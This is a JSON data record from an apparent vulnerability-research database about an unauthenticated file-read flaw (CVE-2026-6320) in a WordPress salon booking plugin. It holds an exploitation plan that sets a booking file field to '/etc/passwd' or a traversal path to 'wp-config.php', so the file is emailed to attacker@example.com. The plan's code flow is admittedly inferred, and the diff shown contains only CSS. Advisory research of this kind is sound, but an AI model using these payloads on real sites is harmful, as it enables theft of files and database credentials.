[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fKarmCMe9GB1Gn8ZbzTh72xVk04psz8rx4lqmf5uf_KI":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":9,"research_fix_diff":34,"research_exploit_outline":35,"research_model_used":36,"research_started_at":37,"research_completed_at":38,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":39},"CVE-2026-6320","salon-booking-system-free-version-unauthenticated-arbitrary-file-read-via-booking-file-field-path-traversal","Salon Booking System – Free Version \u003C= 10.30.25 - Unauthenticated Arbitrary File Read via Booking File Field Path Traversal","The Salon Booking System – Free Version plugin for WordPress is vulnerable to Arbitrary File Read in versions up to, and including, 10.30.25. This is due to the public booking flow accepting attacker-controlled file-field values and later using those stored values as trusted paths for email attachments. This makes it possible for unauthenticated attackers to read arbitrary local files and exfiltrate them via booking confirmation email attachments.","salon-booking-system",null,"\u003C=10.30.25","10.30.26","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","2026-05-01 21:28:03","2026-05-02 11:16:11",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fe91b8082-e1c7-4989-82db-20e255b52854?source=api-prod",1,[22,23,24,25,26,27,28],"css\u002Fadmin.css","css\u002Fsalon.css","js\u002Fadmin\u002FadminServiceEdit.js","js\u002Fadmin\u002FcustomBookingUser.js","js\u002Fcalendar.js","js\u002Fdiscount\u002Fsalon-discount.js","js\u002Fsalon-my-account.js","researched",false,3,"# Exploitation Research Plan: CVE-2026-6320 (Salon Booking System Arbitrary File Read)\n\n## 1. Vulnerability Summary\nThe **Salon Booking System – Free Version** (up to 10.30.25) contains an unauthenticated arbitrary file read vulnerability. The plugin's public booking flow allows users to submit values for custom fields, including those of type \"File\". \n\nThe vulnerability exists because the plugin fails to validate or sanitize the path provided in these file fields during the booking submission. Instead of strictly handling uploaded files, the plugin treats the user-provided string as a trusted file path. This path is later stored in the booking metadata and retrieved when the plugin sends a confirmation email, where it is passed directly into the `$attachments` parameter of the `wp_mail()` function.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `wp-admin\u002Fadmin-ajax.php`\n- **Action:** `salon` (registered via `wp_ajax_nopriv_salon` and `wp_ajax_salon`)\n- **Vulnerable Parameter:** `sln[FIELD_ID]` (where FIELD_ID corresponds to a \"File\" type custom field)\n- **Method:** `POST`\n- **Authentication:** Unauthenticated (Public booking flow)\n- **Preconditions:** A \"File\" type custom field must be active in the booking form settings.\n\n## 3. Code Flow (Inferred)\n1. **Entry Point:** The user submits the final step of the booking form via AJAX.\n2. **AJAX Handler:** `wp_ajax_nopriv_salon` triggers a method (likely `saveBooking` or `submitBooking`) inside the plugin's main AJAX controller.\n3. **Data Storage:** The controller iterates through the `sln` array in the `POST` request. For custom fields, it saves the value directly into the `wp_posts` or `wp_postmeta` table associated with the new `sln_booking` post type.\n4. **Email Trigger:** Upon successful booking creation, the plugin calls a notification function (e.g., `sln_send_confirmation_email`).\n5. **Vulnerable Sink:** This function retrieves the custom field values. It checks if any field is of type \"file\". If so, it takes the string value (the attacker-supplied path) and adds it to an `$attachments` array.\n6. **Exfiltration:** `wp_mail($customer_email, $subject, $message, $headers, $attachments)` is called. WordPress's mailer attempts to read the file at the provided path and attach it to the email.\n\n## 4. Nonce Acquisition Strategy\nThe plugin localizes a nonce in the `salon` object.\n\n1. **Shortcode Identification:** The booking form is typically rendered using the `[salonlb]` or `[salon_booking]` shortcode.\n2. **Page Creation:** Use WP-CLI to create a public page containing the shortcode:\n   ```bash\n   wp post create --post_type=page --post_title=\"Booking\" --post_status=publish --post_content='[salon_booking]'\n   ```\n3. **Extraction:**\n   - Use `browser_navigate` to visit the newly created page.\n   - Use `browser_eval` to extract the nonce from the global `salon` object:\n     ```javascript\n     browser_eval(\"window.salon?.ajax_nonce\")\n     ```\n   - Localization key: `salon`\n   - Nonce key: `ajax_nonce` (as seen in `js\u002Fdiscount\u002Fsalon-discount.js`)\n\n## 5. Exploitation Strategy\n### Step 1: Identify\u002FCreate a \"File\" Custom Field\nWe must ensure a field of type \"file\" exists and find its ID.\n- Use `wp option get sln_custom_fields` or check the database `wp_options` for `sln_checkout_fields`.\n- If none exists, create one via WP-CLI:\n  ```bash\n  # Example: Creating a file field via option update (requires knowledge of the option structure)\n  # Alternatively, use a script to add a field of type 'file'.\n  ```\n\n### Step 2: Craft the Exploit Request\nSend a POST request to `admin-ajax.php` simulating the final booking submission.\n\n**HTTP Request (via `http_request`):**\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method:** `POST`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body Parameters:**\n  - `action`: `salon`\n  - `method`: `saveBooking` (or `submitBooking`)\n  - `security`: `[EXTRACTED_NONCE]`\n  - `sln[first_name]`: `Attacker`\n  - `sln[last_name]`: `User`\n  - `sln[email]`: `attacker@example.com` (Where you will receive the file)\n  - `sln[service][]`: `[VALID_SERVICE_ID]`\n  - `sln[attendant]`: `[VALID_ATTENDANT_ID]`\n  - `sln[date]`: `2025-12-25`\n  - `sln[time]`: `10:00`\n  - `sln[FIELD_ID]`: `\u002Fetc\u002Fpasswd` (The traversal\u002Farbitrary path)\n\n### Step 3: Trigger the Attachment\nOnce the response returns `{ \"success\": true }`, the plugin triggers the email. In the test environment, we intercept the mail.\n\n## 6. Test Data Setup\n1. **Service & Attendant:** Create at least one service and one attendant so a booking can be validly submitted.\n   ```bash\n   wp post create --post_type=sln_service --post_title=\"Audit\" --post_status=publish\n   wp post create --post_type=sln_attendant --post_title=\"Auditor\" --post_status=publish\n   ```\n2. **File Field:** Ensure the \"File\" field is added to the \"Booking Form\" fields in Salon Booking settings.\n3. **Mail Log:** Ensure `WP_DEBUG` and a mail-logging plugin (like \"WP Mail Logging\") are active or check the system's `\u002Fvar\u002Fmail` to verify the attachment.\n\n## 7. Expected Results\n- The AJAX request returns a success status.\n- A new booking post is created.\n- An email is sent to `attacker@example.com`.\n- The email contains an attachment named `passwd` containing the contents of `\u002Fetc\u002Fpasswd`.\n\n## 8. Verification Steps\n1. **Check Booking Meta:**\n   ```bash\n   # Find the latest booking ID\n   BOOKING_ID=$(wp post list --post_type=sln_booking --format=ids | awk '{print $1}')\n   # Check the meta value for the file field\n   wp post meta list $BOOKING_ID\n   ```\n2. **Verify File Attachment Log:**\n   If using WP Mail Logging:\n   ```bash\n   wp db query \"SELECT * FROM wp_wpml_mails ORDER BY id DESC LIMIT 1;\"\n   ```\n   Check the `attachments` column for the path `\u002Fetc\u002Fpasswd`.\n\n## 9. Alternative Approaches\n- **LFI Check:** If the plugin uses `include` or `require` on the file field value elsewhere (e.g., in the admin dashboard when viewing the booking), this could escalate to Remote Code Execution (RCE) if an attacker can upload a file first.\n- **Log File Read:** Attempt to read `wp-config.php` to extract database credentials:\n  - Payload: `..\u002F..\u002F..\u002F..\u002Fwp-config.php` (relative to the expected uploads directory) or absolute `\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php`.","The Salon Booking System plugin (Free Version) is vulnerable to unauthenticated arbitrary file read via path traversal in versions up to 10.30.25. Attackers can exploit this by submitting a booking with a custom \"File\" field containing a local file path, which the plugin then includes as an attachment in the confirmation email sent to the attacker.","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fcss\u002Fadmin.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fcss\u002Fadmin.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fcss\u002Fadmin.css\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fcss\u002Fadmin.css\t2026-04-21 18:43:56.000000000 +0000\n@@ -23814,6 +23814,32 @@\n     margin-top: 16px;\n   }\n }\n+.sln-calendar-carousel__illustration--number {\n+  flex-direction: column;\n+  gap: 10px;\n+  text-align: center;\n+}\n+.sln-calendar-carousel__number {\n+  display: flex;\n+  flex-direction: column;\n+  align-items: center;\n+  gap: 6px;\n+}\n+.sln-calendar-carousel__number-text {\n+  font-size: 3.5rem;\n+  font-weight: 800;\n+  color: #fdcb50;\n+  line-height: 1;\n+  letter-spacing: -1px;\n+}\n+.sln-calendar-carousel__number-label {\n+  margin: 0;\n+  font-size: 13px;\n+  font-weight: 600;\n+  color: rgba(255, 255, 255, 0.85);\n+  text-transform: uppercase;\n+  letter-spacing: 0.5px;\n+}\n @media (max-width: 640px) {\n   .sln-calendar-carousel {\n     padding: 24px 20px;\n@@ -23857,6 +23883,9 @@\n   .sln-calendar-carousel__dots {\n     margin-top: 20px;\n   }\n+  .sln-calendar-carousel__number-text {\n+    font-size: 2.75rem;\n+  }\n }\n \n @keyframes fadeIn {\n@@ -29376,6 +29405,36 @@\n     margin-top: 16px;\n   }\n }\n+.salon_page_salon-calendar .sln-calendar--wrapper .sln-calendar-carousel__illustration--number,\n+.sln-calendar--wrapper .sln-calendar-carousel__illustration--number {\n+  flex-direction: column;\n+  gap: 10px;\n+  text-align: center;\n+}\n+.salon_page_salon-calendar .sln-calendar--wrapper .sln-calendar-carousel__number,\n+.sln-calendar--wrapper .sln-calendar-carousel__number {\n+  display: flex;\n+  flex-direction: column;\n+  align-items: center;\n+  gap: 6px;\n+}\n+.salon_page_salon-calendar .sln-calendar--wrapper .sln-calendar-carousel__number-text,\n+.sln-calendar--wrapper .sln-calendar-carousel__number-text {\n+  font-size: 3.5rem;\n+  font-weight: 800;\n+  color: #fdcb50;\n+  line-height: 1;\n+  letter-spacing: -1px;\n+}\n+.salon_page_salon-calendar .sln-calendar--wrapper .sln-calendar-carousel__number-label,\n+.sln-calendar--wrapper .sln-calendar-carousel__number-label {\n+  margin: 0;\n+  font-size: 13px;\n+  font-weight: 600;\n+  color: rgba(255, 255, 255, 0.85);\n+  text-transform: uppercase;\n+  letter-spacing: 0.5px;\n+}\n @media (max-width: 640px) {\n   .salon_page_salon-calendar .sln-calendar--wrapper .sln-calendar-carousel,\n   .sln-calendar--wrapper .sln-calendar-carousel {\n@@ -29429,6 +29488,10 @@\n   .sln-calendar--wrapper .sln-calendar-carousel__dots {\n     margin-top: 20px;\n   }\n+  .salon_page_salon-calendar .sln-calendar--wrapper .sln-calendar-carousel__number-text,\n+  .sln-calendar--wrapper .sln-calendar-carousel__number-text {\n+    font-size: 2.75rem;\n+  }\n }\n @keyframes fadeIn {\n   from {\n@@ -31741,4 +31804,4 @@\n html.sln-hide-free-pwa-calendar-promo #sln-free-pwa-calendar-promo-wrap {\n   display: none !important;\n }\n-\u002F*# sourceMappingURL=data:application\u002Fjson;charset=utf8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImFkbWluLnNjc3MiLCJfdHlwby5zY3NzIiwiX3R5cG8tYWRtaW4uc2NzcyIsIl9zZXR0aW5ncy1taXhpbnMuc2NzcyIsIl9hZG1pbl9jb25maWcuc2NzcyIsIl9jb2xvcnMuc2NzcyIsIl9jb2xvcnMtbnUuc2NzcyIsImFkbWluX2NvbXBvbmVudHMvX2ljb25zLWRhdGF1cmkuc2NzcyIsImFkbWluX2NvbXBvbmVudHMvX2lucHV0cy5zY3NzIiwiYWRtaW5fY29tcG9uZW50cy9fZGF0ZXBpY2tlcl9hZG1pbi5zY3NzIiwiYWRtaW5fY29tcG9uZW50cy9fcHJvZ3Jlc3NiYXIuc2NzcyIsImFkbWluX2NvbXBvbmVudHMvX2J1dHRvbnMuc2NzcyIsImFkbWluX2NvbXBvbmVudHMvX2FsZXJ0LW1lc3NhZ2VzLnNjc3MiLCJhZG1pbl9jb21wb25lbnRzL19ib3hlcy5zY3NzIiwiYWRtaW5fY29tcG9uZW50cy9fcGFuZWxzLnNjc3MiLCJhZG1pbl9jb21wb25lbnRzL19zaG9wLWRldGFpbHMuc2NzcyIsImFkbWluX2NvbXBvbmVudHMvX3NlcnZpY2UtZGV0YWlscy5zY3NzIiwiYWRtaW5fY29tcG9uZW50cy9fc2lkZWJhcl9iYW5uZXIuc2NzcyIsImFkbWluX2NvbXBvbmVudHMvX2ZpZWxkcy1lZGl0b3Iuc2NzcyIsImFkbWluX2NvbXBvbmVudHMvX3NldHRpbmdzX2lucGFnZV9uYXYuc2NzcyIsImFkbWluX2NvbXBvbmVudHMvX2Jvb2tpbmctZGV0YWlscy5zY3NzIiwiYWRtaW5fY29tcG9uZW50cy9fYm9va2luZy1ub3Nob3cuc2NzcyIsImFkbWluX2NvbXBvbmVudHMvX2F0dGVuZGFudHMuc2NzcyIsImFkbWluX2NvbXBvbmVudHMvX3BsdWdpbl9zdGF0dXNiYXIuc2NzcyIsImFkbWluX2NvbXBvbmVudHMvX3Byb2ZlYXR1cmUtdG9vbHRpcC5zY3NzIiwiYWRtaW5fY29tcG9uZW50cy9fdG9vbHRpcF9kYXkuc2NzcyIsImFkbWluX2NvbXBvbmVudHMvX2FkbWluX2NhbGVuZGFyLnNjc3MiLCJhZG1pbl9jb21wb25lbnRzL19wYWdlcy5zY3NzIiwiYWRtaW5fY29tcG9uZW50cy9fdG9vbHMuc2NzcyIsImFkbWluX2NvbXBvbmVudHMvX3BhZ2Vsb2FkaW5nLnNjc3MiLCJfc2xuLXNlbGVjdDIuc2NzcyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUNRQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUEwQlE7QUM3QkE7QUQ2QkE7QUM3QkE7QUNBTjtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7RUFHRTtFQUNBO0VBQ0E7O0FBQ0E7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0VBQ0U7OztBQTRITjtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFXRTtBQUFBO0FBQUE7RUFFRTtFQUNBOztBQUVGO0FBQUE7RUFDRTs7O0FBT0o7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7RUFDRTtFQUNBO0VBQ0E7RUFDQTtFQUNBO0VBQ0E7OztBQXFDRjtFQUNFOzs7QUFFRjtFQUNFOzs7QUFFRjtFQUNFOzs7QUFFRjtFQUNFOzs7QUFFRjtFQUNFOzs7QUFFRjtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtFQUNFOzs7QUFFRjtBQUFBO0FBQUE7RUFDRTs7O0FBYUY7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTs7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTs7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBa0NBO0VBQ0U7SUFDRTtJQUNBOztFQUVGO0lBQ0U7SUFDQTs7O0FIcFJKO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FJOEhBO0VBQ0U7RUFDQTtFQUNBO0VBQ0E7RUFDQTtFQUNBO0VBQ0E7RUFDQTs7O0FDN0ZGO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0VBQ0MsT0F0QjBCOzs7QUF3QjNCO0VBQ0MsT0E5QnFCOzs7QUFnQ3RCO0VBQ0MsT0FoQzRCOzs7QUFrQzdCO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0VBQ0MsT0FsQ2lCOzs7QUFvQ2xCO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0VBQ0MsT0R4QnFCOzs7QUMwQnRCO0VBQ0MsT0QxQjRCOzs7QUM0QjdCO0VBQ0MsT0FqQ3VCOzs7QUF5Q3hCO0VBQ0MsT0F6RGU7OztBQXlFaEI7QUFBQTtBQUFBO0FBQUE7RUFDQyxrQkF4RW9COzs7QUFzRnJCO0FBQUE7QUFBQTtBQUFBO0VBQ0Msa0JEdkVxQjs7O0FDeUV0QjtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtFQUNDLGtCRHpFNEI7OztBQ29IN0I7QUFBQTtBQUFBO0FBQUE7RUFDQyxjRHRIcUI7OztBRWtHdEI7RUFDQyxPQTVDbUI7OztBTnJGcEI7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUNvQ0E7RUFDQyxhQUZrQjtFQUdsQjs7QUFDQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7RUFNQyxhQVZpQjtFQVdqQjtFQUNBO0VBQ0E7O0FBRUQ7QUFBQTtBQUFBO0VBR0MsYUFsQmlCO0VBbUJqQjtFQUNBOztBQUVEO0FBQUE7QUFBQTtBQUFBO0FBQUE7RUFLQyxhQTNCaUI7RUE0QmpCOztBQUVEO0VBQ0M7OztBQXVJRjtBQUFBO0FBQUE7QUFBQTtFQUNDOztBRXRKRztFRnFKSjtBQUFBO0FBQUE7QUFBQTtJQUdFOzs7O0FBR0Y7RUFDQzs7O0FBRUQ7RUFDQzs7O0FBRUQ7RUFDQzs7O0FBU0Q7RUFFQzs7O0FBRUQ7RUFFQzs7O0FBRUQ7RUFFQzs7O0FBMEJEO0VBQ0M7O0FBZ0JBO0VBQ0M7RUFDQTs7QUFFRDtFQUVDOztBQUVEO0VBRUM7OztBQTBDRjtFQUNDO0VBQ0E7RUFDQSxLQUNDO0VBVUQ7RUFDQTs7QUFHRDtFQUNDO0VBQ0E7RUFDQSxLQUNDO0VBVUQ7RUFDQTs7QUFFRDtFQUNDO0VBQ0E7RUFDQSxLQUNDO0VBVUQ7RUFDQTs7QUFPRDtFQUNDOzs7QURsWUQ7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUVZQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7RUFDRSxhRHNCaUI7RUNyQmpCO0VBQ0E7RUFDQTs7O0FBRUY7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtFQUNFLGFEZ0JpQjtFQ2ZqQjtFQUNBO0VBQ0E7OztBQVVGO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtFQUNFLGFERWlCO0VDRGpCO0VBQ0E7RUFDQTs7O0FBVUY7QUFBQTtFQUNFLGFEWmlCO0VDYWpCO0VBQ0E7RUFDQTs7O0FBb0NGO0VBQ0U7OztBQUVGO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7RUFDRTs7O0FBS0Y7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtFQUNFLE9FeEZROzs7QUZvSFY7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0VBRUU7RUFDQTtFQUNBOzs7QUFFRjtBQUFBO0FBQUE7QUFBQTtFQUNFOztBQy9FRTtFRDhFSjtBQUFBO0FBQUE7QUFBQTtJQUdJOzs7O0FBbUJKO0VBQ0U7RUFDQTtFQUNBLEtBQ0U7RUFVRjtFQUNBOztBQUdGO0FBQUE7QUFFQTtFQUNFO0VBQ0E7RUFDQSxLQUNFO0VBVUY7RUFDQTs7QUFHRjtFQUNFO0VBQ0E7RUFDQSxLQUNFO0VBVUY7RUFDQTs7QUFPRjtFQUNFOzs7QUZyTkY7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QU9DQztFQUNDOzs7QUFHRjtFQUNDOzs7QUNJRztBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtFQUtFO0VBQ0E7RUFDQTtFQUNBO0VBQ0E7RUFDQTtFQUNBO0VBR0E7RUFDQTtFQUNBO0VBQ0E7RUFDQSxZQUNFOztBSnlCTjtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtFQUNFLE9BOUNjOztBQWdEaEI7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUNFO0VBQ0EsT0FsRGM7O0FBb0RoQjtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUNFO0VBQ0EsT0F0RGM7O0FBd0RoQjtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0VBQ0UsT0F6RGM7O0FJdUJaO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7RUFDRTtFQUNBLGtCSmxCZTs7QUlvQmpCO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7RUFHRTtFQUNBO0VBQ0E7O0FBRUY7RUFDRTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO